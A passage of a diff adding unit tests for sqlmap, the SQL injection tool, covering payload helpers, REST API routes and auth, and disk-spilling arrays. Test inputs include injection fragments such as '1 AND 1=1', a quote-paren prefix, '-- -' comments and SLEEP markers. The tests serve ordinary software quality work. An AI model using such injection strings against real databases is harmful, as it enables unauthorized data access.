agent.cleanupPayload("p=[ORIGINAL]", origValue="raw") + self.assertEqual(out, "p=raw") + + def test_space_replace_marker(self): + out = agent.cleanupPayload("a[SPACE_REPLACE]b") + self.assertEqual(out, "a%sb" % kb.chars.space) + + def test_non_string_returns_none(self): + self.assertIsNone(agent.cleanupPayload(None)) + + +class TestAdjustLateValues(DbmsStateMixin, unittest.TestCase): + def test_sleeptime_replaced_with_timesec(self): + out = agent.adjustLateValues("SLEEP(%s)" % SLEEP_TIME_MARKER) + self.assertEqual(out, "SLEEP(%s)" % conf.timeSec) + self.assertNotIn(SLEEP_TIME_MARKER, out) + + def test_randnum_marker_substituted(self): + out = agent.adjustLateValues("v=[RANDNUM]") + self.assertNotIn("[RANDNUM]", out) + self.assertTrue(out.split("=")[1].isdigit(), msg=out) + + def test_bounded_base64_marker_encoded(self): + payload = "%sAB%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER) + out = agent.adjustLateValues(payload) + # the marked region is base64-encoded and the markers are consumed + self.assertNotIn(BOUNDED_BASE64_MARKER, out) + self.assertEqual(out, "QUI=") + + def test_empty_payload_passthrough(self): + self.assertEqual(agent.adjustLateValues(""), "") + + +class TestGetFieldsShapes(DbmsStateMixin, unittest.TestCase): + def test_select_top(self): + set_dbms(DBMS.MSSQL) + res = agent.getFields("SELECT TOP 1 name FROM sysobjects") + self.assertIsNotNone(res[3], msg="fieldsSelectTop not matched") + self.assertEqual(res[6], "name") + + def test_distinct(self): + set_dbms(DBMS.MYSQL) + res = agent.getFields("SELECT DISTINCT(name) FROM t") + self.assertEqual(res[6], "name") + + def test_function_is_single_element(self): + set_dbms(DBMS.MYSQL) + res = agent.getFields("SELECT COUNT(*) FROM t") + self.assertEqual(res[5], ["COUNT(*)"]) + + def test_no_from_keeps_whole_select_list(self): + set_dbms(DBMS.MYSQL) + res = agent.getFields("SELECT a,b,c") + self.assertIsNone(res[0], msg="fieldsSelectFrom must be None without FROM") + self.assertEqual(res[5], ["a", "b", "c"]) + + +class TestPrefixSuffixArgs(DbmsStateMixin, unittest.TestCase): + def test_prefix_with_explicit_prefix(self): + set_dbms(DBMS.MYSQL) + out = agent.prefixQuery("1=1", prefix="')") + self.assertIn("')", out, msg=out) + self.assertTrue(out.endswith("1=1"), msg=out) + + def test_prefix_group_by_clause_uses_prefix_verbatim(self): + set_dbms(DBMS.MYSQL) + # clause == [2] (GROUP BY / ORDER BY) => no trailing space added + out = agent.prefixQuery("1=1", prefix="X", clause=[2]) + self.assertEqual(out, "X1=1") + + def test_suffix_appends_comment(self): + set_dbms(DBMS.MYSQL) + out = agent.suffixQuery("1=1", comment="-- -") + self.assertTrue(out.startswith("1=1"), msg=out) + self.assertIn("-", out) + + def test_suffix_appends_suffix_no_comment(self): + set_dbms(DBMS.MYSQL) + out = agent.suffixQuery("1=1", suffix="')") + self.assertIn("')", out, msg=out) + + +class TestNullAndCastFieldNoCast(DbmsStateMixin, unittest.TestCase): + def setUp(self): + DbmsStateMixin.setUp(self) + self._noCast = conf.noCast + + def tearDown(self): + conf.noCast = self._noCast + DbmsStateMixin.tearDown(self) + + def test_nocast_returns_field_unchanged(self): + set_dbms(DBMS.MYSQL) + conf.noCast = True + self.assertEqual(agent.nullAndCastField("colname"), "colname") + + def test_cast_present_when_nocast_off(self): + set_dbms(DBMS.MYSQL) + conf.noCast = False + out = agent.nullAndCastField("colname") + self.assertIn("CAST", out.upper(), msg=out) + self.assertIn("colname", out) + + +# --------------------------------------------------------------------------- # +# Pure agent helpers (formerly test_core_extra.py) +# --------------------------------------------------------------------------- # + +class TestAgentPure(unittest.TestCase): + """Pure agent.py methods independent of full injection state.""" + + @classmethod + def setUpClass(cls): + from lib.core.agent import agent + cls.agent = agent + + def tearDown(self): + set_dbms(None) + + def test_get_comment_present(self): + from lib.core.datatype import AttribDict + request = AttribDict() + request.comment = "-- foo" + self.assertEqual(self.agent.getComment(request), "-- foo") + + def test_get_comment_absent(self): + from lib.core.datatype import AttribDict + request = AttribDict() + self.assertEqual(self.agent.getComment(request), "") + + def test_add_payload_delimiters(self): + from lib.core.settings import PAYLOAD_DELIMITER + value = "1 AND 1=1" + result = self.agent.addPayloadDelimiters(value) + self.assertEqual(result, "%s%s%s" % (PAYLOAD_DELIMITER, value, PAYLOAD_DELIMITER)) + # falsy value returned unchanged + self.assertEqual(self.agent.addPayloadDelimiters(""), "") + + def test_remove_payload_delimiters_roundtrip(self): + self.assertEqual( + self.agent.removePayloadDelimiters(self.agent.addPayloadDelimiters("1 AND 1=1")), + "1 AND 1=1", + ) + + def test_extract_payload(self): + wrapped = "prefix" + self.agent.addPayloadDelimiters("1 AND 1=1") + "suffix" + self.assertEqual(self.agent.extractPayload(wrapped), "1 AND 1=1") + + def test_replace_payload(self): + wrapped = "prefix" + self.agent.addPayloadDelimiters("OLD") + "suffix" + replaced = self.agent.replacePayload(wrapped, "NEW") + self.assertEqual(self.agent.extractPayload(replaced), "NEW") + # surrounding text preserved + self.assertTrue(replaced.startswith("prefix")) + self.assertTrue(replaced.endswith("suffix")) + + def test_simple_concatenate_mysql(self): + set_dbms(DBMS.MYSQL) + # MySQL concatenate query template is 'CONCAT(%s,%s)' + self.assertEqual(self.agent.simpleConcatenate("a", "b"), "CONCAT(a,b)") + + def test_hex_convert_field_mysql(self): + set_dbms(DBMS.MYSQL) + # MySQL hex template is 'HEX(%s)' + self.assertEqual(self.agent.hexConvertField("col"), "HEX(col)") + + def test_get_fields_select_from(self): + set_dbms(DBMS.MYSQL) + result = self.agent.getFields("SELECT a, b FROM users") + fieldsToCastList = result[5] + fieldsToCastStr = result[6] + self.assertEqual(fieldsToCastStr, "a, b") + self.assertEqual(fieldsToCastList, ["a", "b"]) + + def test_get_fields_no_from(self): + set_dbms(DBMS.MYSQL) + # a bare SELECT without FROM -> fieldsSelectFrom is None, casts the whole select list + result = self.agent.getFields("SELECT 1") + fieldsSelectFrom = result[0] + self.assertIsNone(fieldsSelectFrom) + self.assertEqual(result[6], "1") + + +class TestAgentWhereQuery(unittest.TestCase): + @classmethod + def setUpClass(cls): + from lib.core.agent import agent + cls.agent = agent + + def setUp(self): + self._old_dumpWhere = conf.dumpWhere + self._old_tbl = conf.tbl + conf.tbl = None + + def tearDown(self): + conf.dumpWhere = self._old_dumpWhere + conf.tbl = self._old_tbl + set_dbms(None) + + def test_no_dumpwhere_passthrough(self): + conf.dumpWhere = None + query = "SELECT a FROM t" + self.assertEqual(self.agent.whereQuery(query), query) + + def test_appends_where_clause(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>0" + # no existing WHERE -> appends ' WHERE id>0' + self.assertEqual(self.agent.whereQuery("SELECT a FROM t"), "SELECT a FROM t WHERE id>0") + + def test_and_when_where_present(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>0" + # existing WHERE -> appended with AND + self.assertEqual( + self.agent.whereQuery("SELECT a FROM t WHERE x=1"), + "SELECT a FROM t WHERE x=1 AND id>0", + ) + + def test_splices_before_order_by(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>0" + # WHERE must be spliced before the trailing ORDER BY suffix + self.assertEqual( + self.agent.whereQuery("SELECT a FROM t ORDER BY a"), + "SELECT a FROM t WHERE id>0 ORDER BY a", + ) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_api.py b/tests/test_api.py new file mode 100644 index 00000000000..4360c3e7058 --- /dev/null +++ b/tests/test_api.py @@ -0,0 +1,621 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for the sqlmap REST API (lib/utils/api.py). + +Two complementary angles: + 1. Pure helpers / objects called directly (is_admin, validate_task_options, + the Database and Task classes, the StdDbOut/LogRecorder IPC writers). + 2. The bottle HTTP routes driven through the WSGI app via a minimal in-process + test client (no sockets, no network, no scan subprocess) - task lifecycle, + option get/set, scan status/data/log, admin list/flush, version, auth. + +The scan-data assembler/collector helpers (_storeData / _assembleData / +_sanitizeScanData / _cleanIdentifier / writeReportJson) are pinned separately in +test_report.py; here we focus on what that file does not exercise. +""" + +import io +import json +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.api as api +from lib.core.data import conf +from lib.core.convert import encodeBase64 +from lib.core.enums import CONTENT_STATUS, CONTENT_TYPE +from thirdparty.bottle.bottle import default_app + + +def _wsgi_call(method, path, body=None, headers=None, remote_addr="127.0.0.1"): + """ + Drive the module's bottle routes through the WSGI interface in-process. + Returns (status_code_int, parsed_json_or_None, raw_text). + """ + + app = default_app() + environ = { + "REQUEST_METHOD": method, + "PATH_INFO": path, + "SERVER_NAME": "localhost", + "SERVER_PORT": "80", + "REMOTE_ADDR": remote_addr, + "wsgi.input": io.BytesIO(), + "wsgi.errors": sys.stderr, + "wsgi.url_scheme": "http", + } + + if body is not None: + data = json.dumps(body).encode("utf-8") + environ["CONTENT_TYPE"] = "application/json" + environ["CONTENT_LENGTH"] = str(len(data)) + environ["wsgi.input"] = io.BytesIO(data) + + for key, value in (headers or {}).items(): + environ["HTTP_%s" % key.upper().replace("-", "_")] = value + + captured = {} + + def start_response(status, response_headers, exc_info=None): + captured["status"] = status + + chunks = app(environ, start_response) + raw = b"".join(chunks).decode("utf-8", "replace") + code = int(captured["status"].split(" ", 1)[0]) + + try: + parsed = json.loads(raw) + except ValueError: + parsed = None + + return code, parsed, raw + + +class _ApiServerCase(unittest.TestCase): + """ + Stands up just enough of the API server state (IPC database + DataStore globals) + to drive the routes, snapshotting and restoring every global it touches. + """ + + def setUp(self): + self._saved_batch = conf.batch + conf.batch = True + + # snapshot mutated globals + self._saved = { + "current_db": api.DataStore.current_db, + "tasks": api.DataStore.tasks, + "admin_token": api.DataStore.admin_token, + "username": api.DataStore.username, + "password": api.DataStore.password, + "filepath": api.Database.filepath, + } + + # fresh in-memory IPC database (same init the server() function performs) + self.db = api.Database(":memory:") + self.db.connect() + self.db.init() + + api.DataStore.current_db = self.db + api.DataStore.tasks = {} + api.DataStore.admin_token = "a" * 32 + api.DataStore.username = None + api.DataStore.password = None + api.Database.filepath = ":memory:" + + def tearDown(self): + try: + self.db.disconnect() + except Exception: + pass + + api.DataStore.current_db = self._saved["current_db"] + api.DataStore.tasks = self._saved["tasks"] + api.DataStore.admin_token = self._saved["admin_token"] + api.DataStore.username = self._saved["username"] + api.DataStore.password = self._saved["password"] + api.Database.filepath = self._saved["filepath"] + conf.batch = self._saved_batch + + def _new_task(self): + code, parsed, _ = _wsgi_call("GET", "/task/new") + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + return parsed["taskid"] + + +# --------------------------------------------------------------------------- +# Pure helpers / objects +# --------------------------------------------------------------------------- + +class TestGenericHelpers(unittest.TestCase): + def setUp(self): + self._saved_token = api.DataStore.admin_token + + def tearDown(self): + api.DataStore.admin_token = self._saved_token + + def test_is_admin_constant_time_compare(self): + api.DataStore.admin_token = "deadbeef" + self.assertTrue(api.is_admin("deadbeef")) + self.assertFalse(api.is_admin("deadbeer")) + self.assertFalse(api.is_admin(None)) + self.assertFalse(api.is_admin("")) + + +class TestValidateTaskOptions(unittest.TestCase): + def setUp(self): + self._saved_tasks = api.DataStore.tasks + api.DataStore.tasks = {"t1": api.Task("t1", "127.0.0.1")} + + def tearDown(self): + api.DataStore.tasks = self._saved_tasks + + def test_non_dict_rejected(self): + msg = api.validate_task_options("t1", ["level"], "scan_start") + self.assertEqual(msg, "Invalid JSON options") + + def test_unsupported_option_rejected(self): + # reportJson is in RESTAPI_UNSUPPORTED_OPTIONS + msg = api.validate_task_options("t1", {"reportJson": "x.json"}, "scan_start") + self.assertIn("Unsupported option", msg) + self.assertIn("reportJson", msg) + + def test_readonly_option_rejected(self): + # taskid is in RESTAPI_READONLY_OPTIONS + msg = api.validate_task_options("t1", {"taskid": "haxx"}, "option_set") + self.assertIn("Unsupported option", msg) + self.assertIn("taskid", msg) + + def test_unknown_option_rejected(self): + msg = api.validate_task_options("t1", {"nosuchoption": 1}, "option_set") + self.assertIn("Unknown option", msg) + self.assertIn("nosuchoption", msg) + + def test_valid_options_accepted(self): + # a real, supported option returns None (no error message) + self.assertIsNone(api.validate_task_options("t1", {"level": 3, "risk": 2}, "scan_start")) + + +class TestDatabase(unittest.TestCase): + """The IPC Database wrapper: connect/init schema, execute SELECT vs DML, disconnect.""" + + def setUp(self): + self.db = api.Database(":memory:") + self.db.connect("test") + self.db.init() + + def tearDown(self): + self.db.disconnect() + + def test_init_creates_expected_schema(self): + names = set(row[0] for row in self.db.execute("SELECT name FROM sqlite_master WHERE type='table'")) + self.assertTrue({"logs", "data", "errors"}.issubset(names)) + + def test_init_is_idempotent(self): + # "CREATE TABLE IF NOT EXISTS" - running init twice must not raise + self.db.init() + + def test_execute_select_returns_rows_dml_returns_none(self): + self.assertIsNone(self.db.execute("INSERT INTO errors VALUES(NULL, ?, ?)", ("t1", "boom"))) + rows = self.db.execute("SELECT taskid, error FROM errors") + self.assertEqual(rows, [("t1", "boom")]) + + def test_disconnect_is_safe_without_connection(self): + fresh = api.Database(":memory:") # never connected + fresh.disconnect() # must not raise + + +class TestTask(unittest.TestCase): + """The Task object: option defaults, set/get/reset, and the no-process engine paths.""" + + def test_initialize_options_sets_api_markers(self): + t = api.Task("abc123", "10.0.0.1") + self.assertEqual(t.remote_addr, "10.0.0.1") + self.assertIs(t.options.api, True) + self.assertEqual(t.options.taskid, "abc123") + self.assertIs(t.options.batch, True) + self.assertIs(t.options.disableColoring, True) + self.assertIs(t.options.eta, False) + + def test_set_get_reset_options(self): + t = api.Task("abc123", "10.0.0.1") + original_level = t.get_option("level") + t.set_option("level", original_level + 4) + self.assertEqual(t.get_option("level"), original_level + 4) + t.reset_options() + self.assertEqual(t.get_option("level"), original_level) + + def test_get_options_returns_attribdict(self): + t = api.Task("abc123", "10.0.0.1") + opts = t.get_options() + self.assertIs(opts, t.options) + self.assertIn("level", opts) + + def test_engine_paths_without_process(self): + t = api.Task("abc123", "10.0.0.1") + self.assertIsNone(t.engine_process()) + self.assertIsNone(t.engine_get_id()) + self.assertIsNone(t.engine_get_returncode()) + self.assertFalse(t.engine_has_terminated()) + self.assertIsNone(t.engine_stop()) + self.assertIsNone(t.engine_kill()) + + +class TestStdDbOutAndLogRecorder(unittest.TestCase): + """ + StdDbOut and LogRecorder write engine output/logs into the IPC database + (conf.databaseCursor). Verify both write paths land the expected rows. + """ + + def setUp(self): + self.db = api.Database(":memory:") + self.db.connect("client") + self.db.init() + self._saved = { + "stdout": sys.stdout, + "stderr": sys.stderr, + "databaseCursor": conf.get("databaseCursor"), + "taskid": conf.get("taskid"), + "partRun": getattr(__import__("lib.core.data", fromlist=["kb"]).kb, "partRun", None), + } + conf.databaseCursor = self.db + conf.taskid = "t1" + + def tearDown(self): + sys.stdout = self._saved["stdout"] + sys.stderr = self._saved["stderr"] + conf.databaseCursor = self._saved["databaseCursor"] + conf.taskid = self._saved["taskid"] + self.db.disconnect() + + def test_stdout_write_stores_typed_data(self): + # StdDbOut hijacks sys.stdout in __init__; restore it immediately and call write() directly + std = api.StdDbOut("t1", messagetype="stdout") + sys.stdout = self._saved["stdout"] + std.write("MySQL >= 5.0", status=CONTENT_STATUS.COMPLETE, content_type=CONTENT_TYPE.DBMS_FINGERPRINT) + rows = self.db.execute("SELECT taskid, status, content_type FROM data") + self.assertEqual(len(rows), 1) + self.assertEqual(rows[0][0], "t1") + self.assertEqual(rows[0][2], CONTENT_TYPE.DBMS_FINGERPRINT) + # the helpers are noops but must not raise + std.flush(); std.close(); std.seek() + + def test_stderr_write_stores_error(self): + std = api.StdDbOut("t1", messagetype="stderr") + sys.stderr = self._saved["stderr"] + std.write("something failed") + rows = self.db.execute("SELECT taskid, error FROM errors") + self.assertEqual(rows, [("t1", "something failed")]) + + def test_logrecorder_emit_stores_log(self): + import logging + rec = api.LogRecorder() + record = logging.LogRecord("sqlmap", logging.INFO, __file__, 1, "hello %s", ("world",), None) + rec.emit(record) + rows = self.db.execute("SELECT taskid, level, message FROM logs") + self.assertEqual(len(rows), 1) + self.assertEqual(rows[0][0], "t1") + self.assertEqual(rows[0][1], "INFO") + self.assertEqual(rows[0][2], "hello world") + + +# --------------------------------------------------------------------------- +# HTTP routes (WSGI test client) +# --------------------------------------------------------------------------- + +class TestVersionRoute(_ApiServerCase): + def test_version(self): + code, parsed, _ = _wsgi_call("GET", "/version") + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertIn("version", parsed) + self.assertEqual(parsed["api_version"], 2) # MAJOR of RESTAPI_VERSION "2.0.0" + + def test_security_headers_applied(self): + app = default_app() + environ = { + "REQUEST_METHOD": "GET", "PATH_INFO": "/version", + "SERVER_NAME": "localhost", "SERVER_PORT": "80", "REMOTE_ADDR": "127.0.0.1", + "wsgi.input": io.BytesIO(), "wsgi.errors": sys.stderr, "wsgi.url_scheme": "http", + } + captured = {} + + def start_response(status, response_headers, exc_info=None): + captured["headers"] = dict(response_headers) + + b"".join(app(environ, start_response)) + headers = captured["headers"] + self.assertEqual(headers.get("X-Frame-Options"), "DENY") + self.assertEqual(headers.get("X-Content-Type-Options"), "nosniff") + self.assertIn("application/json", headers.get("Content-Type", "")) + + +class TestTaskLifecycle(_ApiServerCase): + def test_new_and_delete(self): + taskid = self._new_task() + self.assertIn(taskid, api.DataStore.tasks) + + code, parsed, _ = _wsgi_call("GET", "/task/%s/delete" % taskid) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertNotIn(taskid, api.DataStore.tasks) + + def test_delete_unknown_task_404(self): + code, parsed, _ = _wsgi_call("GET", "/task/deadbeef/delete") + self.assertEqual(code, 404) + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Non-existing task ID") + + +class TestOptionRoutes(_ApiServerCase): + def test_option_list(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/option/%s/list" % taskid) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertIn("level", parsed["options"]) + + def test_option_list_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/option/nope/list") + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_option_set_then_get(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("POST", "/option/%s/set" % taskid, {"level": 4, "risk": 3}) + self.assertTrue(parsed["success"]) + + code, parsed, _ = _wsgi_call("POST", "/option/%s/get" % taskid, ["level", "risk"]) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["options"], {"level": 4, "risk": 3}) + + def test_option_set_invalid_task(self): + code, parsed, _ = _wsgi_call("POST", "/option/nope/set", {"level": 1}) + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_option_set_rejects_unsupported(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("POST", "/option/%s/set" % taskid, {"reportJson": "x"}) + self.assertFalse(parsed["success"]) + self.assertIn("Unsupported option", parsed["message"]) + + def test_option_get_unknown_option(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("POST", "/option/%s/get" % taskid, ["nosuchoption"]) + self.assertFalse(parsed["success"]) + self.assertIn("Unknown option", parsed["message"]) + + def test_option_get_invalid_task(self): + code, parsed, _ = _wsgi_call("POST", "/option/nope/get", ["level"]) + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + +class TestScanQueryRoutes(_ApiServerCase): + """status/data/log on a task that has never launched a subprocess (no scan started).""" + + def test_status_not_running(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/status" % taskid) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["status"], "not running") + self.assertIsNone(parsed["returncode"]) + + def test_status_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/scan/nope/status") + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_data_empty(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/data" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["data"], []) + self.assertEqual(parsed["error"], []) + + def test_data_returns_stored_rows(self): + taskid = self._new_task() + # store a result row directly into the shared IPC db, then read it back via the route + api._storeData(self.db, taskid, "MySQL >= 5.0", CONTENT_STATUS.COMPLETE, CONTENT_TYPE.DBMS_FINGERPRINT) + code, parsed, _ = _wsgi_call("GET", "/scan/%s/data" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual(len(parsed["data"]), 1) + self.assertEqual(parsed["data"][0]["type_name"], "DBMS_FINGERPRINT") + self.assertEqual(parsed["data"][0]["value"], "MySQL >= 5.0") + + def test_data_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/scan/nope/data") + self.assertFalse(parsed["success"]) + + def test_log_empty(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/log" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["log"], []) + + def test_log_returns_stored_rows(self): + taskid = self._new_task() + self.db.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (taskid, "00:00:00", "INFO", "started")) + code, parsed, _ = _wsgi_call("GET", "/scan/%s/log" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["log"], [{"time": "00:00:00", "level": "INFO", "message": "started"}]) + + def test_log_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/scan/nope/log") + self.assertFalse(parsed["success"]) + + def test_log_limited_subset(self): + taskid = self._new_task() + for i in range(1, 4): + self.db.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (taskid, "00:00:0%d" % i, "INFO", "m%d" % i)) + code, parsed, _ = _wsgi_call("GET", "/scan/%s/log/1/2" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual([m["message"] for m in parsed["log"]], ["m1", "m2"]) + + def test_log_limited_bad_range(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/log/5/2" % taskid) + self.assertFalse(parsed["success"]) + self.assertIn("must be digits", parsed["message"]) + + def test_log_limited_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/scan/nope/log/1/2") + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_scan_stop_invalid_when_not_running(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/stop" % taskid) + self.assertFalse(parsed["success"]) + + def test_scan_kill_invalid_when_not_running(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/kill" % taskid) + self.assertFalse(parsed["success"]) + + +class TestScanStart(_ApiServerCase): + """scan_start, with the subprocess-spawning seam (engine_start) monkeypatched.""" + + def test_scan_start_invalid_task(self): + code, parsed, _ = _wsgi_call("POST", "/scan/nope/start", {}) + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_scan_start_rejects_unsupported_option(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("POST", "/scan/%s/start" % taskid, {"wizard": True}) + self.assertFalse(parsed["success"]) + self.assertIn("Unsupported option", parsed["message"]) + + def test_scan_start_launches_engine(self): + taskid = self._new_task() + task = api.DataStore.tasks[taskid] + + calls = {"started": False} + + class _FakeProc(object): + pid = 4242 + returncode = None + + def poll(self): + return None + + def terminate(self): + pass + + def kill(self): + pass + + def wait(self): + return 0 + + def fake_engine_start(): + calls["started"] = True + task.process = _FakeProc() + + original = task.engine_start + task.engine_start = fake_engine_start + try: + code, parsed, _ = _wsgi_call("POST", "/scan/%s/start" % taskid, {"url": "http://t/?id=1"}) + finally: + task.engine_start = original + + self.assertTrue(calls["started"]) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["engineid"], 4242) + # the provided option was applied to the task + self.assertEqual(task.get_option("url"), "http://t/?id=1") + + +class TestAdminRoutes(_ApiServerCase): + def test_admin_list_with_token(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/admin/%s/list" % api.DataStore.admin_token) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertIn(taskid, parsed["tasks"]) + self.assertEqual(parsed["tasks_num"], 1) + + def test_admin_list_same_remote_addr_without_token(self): + # /admin/list (no token) sees only tasks from the requesting remote_addr + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/admin/list", remote_addr="127.0.0.1") + self.assertTrue(parsed["success"]) + self.assertIn(taskid, parsed["tasks"]) + + def test_admin_list_other_remote_addr_excluded(self): + self._new_task() # created from 127.0.0.1 + code, parsed, _ = _wsgi_call("GET", "/admin/list", remote_addr="10.9.9.9") + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["tasks_num"], 0) + + def test_admin_flush_with_token(self): + self._new_task() + self._new_task() + self.assertEqual(len(api.DataStore.tasks), 2) + code, parsed, _ = _wsgi_call("GET", "/admin/%s/flush" % api.DataStore.admin_token) + self.assertTrue(parsed["success"]) + self.assertEqual(len(api.DataStore.tasks), 0) + + def test_admin_flush_only_own_remote_addr(self): + # task from .1, flush requested by .2 (no token) -> task survives + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/admin/flush", remote_addr="10.0.0.2") + self.assertTrue(parsed["success"]) + self.assertIn(taskid, api.DataStore.tasks) + + +class TestAuthentication(_ApiServerCase): + """check_authentication before_request hook (HTTP Basic) when credentials are configured.""" + + def test_no_credentials_allows_access(self): + api.DataStore.username = None + api.DataStore.password = None + code, parsed, _ = _wsgi_call("GET", "/version") + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + + def test_missing_auth_header_denied(self): + api.DataStore.username = "user" + api.DataStore.password = "pass" + code, _, raw = _wsgi_call("GET", "/version") + self.assertEqual(code, 401) + + def test_wrong_credentials_denied(self): + api.DataStore.username = "user" + api.DataStore.password = "pass" + token = encodeBase64("user:wrong", binary=False) + code, _, raw = _wsgi_call("GET", "/version", headers={"Authorization": "Basic %s" % token}) + self.assertEqual(code, 401) + + def test_correct_credentials_allowed(self): + api.DataStore.username = "user" + api.DataStore.password = "pass" + token = encodeBase64("user:pass", binary=False) + code, parsed, _ = _wsgi_call("GET", "/version", headers={"Authorization": "Basic %s" % token}) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + + def test_malformed_basic_credentials_denied(self): + # base64 of a string without ':' separator -> denied + api.DataStore.username = "user" + api.DataStore.password = "pass" + token = encodeBase64("nocolon", binary=False) + code, _, _ = _wsgi_call("GET", "/version", headers={"Authorization": "Basic %s" % token}) + self.assertEqual(code, 401) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_bigarray.py b/tests/test_bigarray.py new file mode 100644 index 00000000000..9d65d8e97fe --- /dev/null +++ b/tests/test_bigarray.py @@ -0,0 +1,166 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +BigArray disk-spill semantics (lib/core/bigarray.py). + +BigArray is the structure that lets sqlmap dump tables far larger than RAM: once +the in-memory chunk exceeds chunk_size it is pickled to a temp file and a new +chunk starts. The tricky, easy-to-break part is that indexing / iteration / +pop / pickling must stay correct ACROSS the in-memory<->on-disk boundary. + +These force a spill with a tiny chunk_size and assert the data survives intact. +""" + +import os +import pickle +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.bigarray import BigArray + +N = 5000 + + +_SPILLED = [] + +def _make_spilled(): + # tiny chunk_size guarantees many on-disk chunks for N items + ba = BigArray(chunk_size=1024) + for i in range(N): + ba.append("item-%d" % i) + _SPILLED.append(ba) # tracked so tearDownModule closes it (release the on-disk chunk files) + return ba + + +def tearDownModule(): + for ba in _SPILLED: + try: + ba.close() + except Exception: + pass + del _SPILLED[:] + + +class TestSpill(unittest.TestCase): + def test_actually_spilled_to_disk(self): + ba = _make_spilled() + self.assertGreater(len(ba.chunks), 1, msg="expected multiple chunks (a disk spill)") + # stronger than "more than one chunk": at least one chunk must be a real on-disk file + # (spilled chunks are stored as filenames). Otherwise this could pass while everything + # stayed in RAM. + disk_chunks = [c for c in ba.chunks if isinstance(c, str)] + self.assertTrue(disk_chunks, msg="no chunk was spilled to disk") + self.assertTrue(os.path.exists(disk_chunks[0]), msg="spilled chunk file missing on disk") + + def test_len(self): + self.assertEqual(len(_make_spilled()), N) + + def test_random_access_across_boundary(self): + ba = _make_spilled() + for i in (0, 1, 499, 500, 2500, N - 1): + self.assertEqual(ba[i], "item-%d" % i, msg="ba[%d]" % i) + + def test_negative_index(self): + ba = _make_spilled() + self.assertEqual(ba[-1], "item-%d" % (N - 1)) + + def test_iteration_order_preserved(self): + ba = _make_spilled() + for idx, value in enumerate(ba): + if value != "item-%d" % idx: + self.fail("iteration order broke at %d: %r" % (idx, value)) + self.assertEqual(idx, N - 1) + + def test_pop_from_end(self): + ba = _make_spilled() + self.assertEqual(ba.pop(), "item-%d" % (N - 1)) + self.assertEqual(len(ba), N - 1) + + def test_pickle_roundtrip_across_spill(self): + ba = _make_spilled() + restored = pickle.loads(pickle.dumps(ba)) + self.assertIsInstance(restored, BigArray) + self.assertEqual(len(restored), N) + self.assertEqual(restored[0], "item-0") + self.assertEqual(restored[N - 1], "item-%d" % (N - 1)) + + +class TestCacheConsistency(unittest.TestCase): + """The on-disk chunk is served through a single-slot cache (read caching plus + dirty write-back). These check that the cache never serves stale data.""" + + def test_setitem_writeback_across_chunks(self): 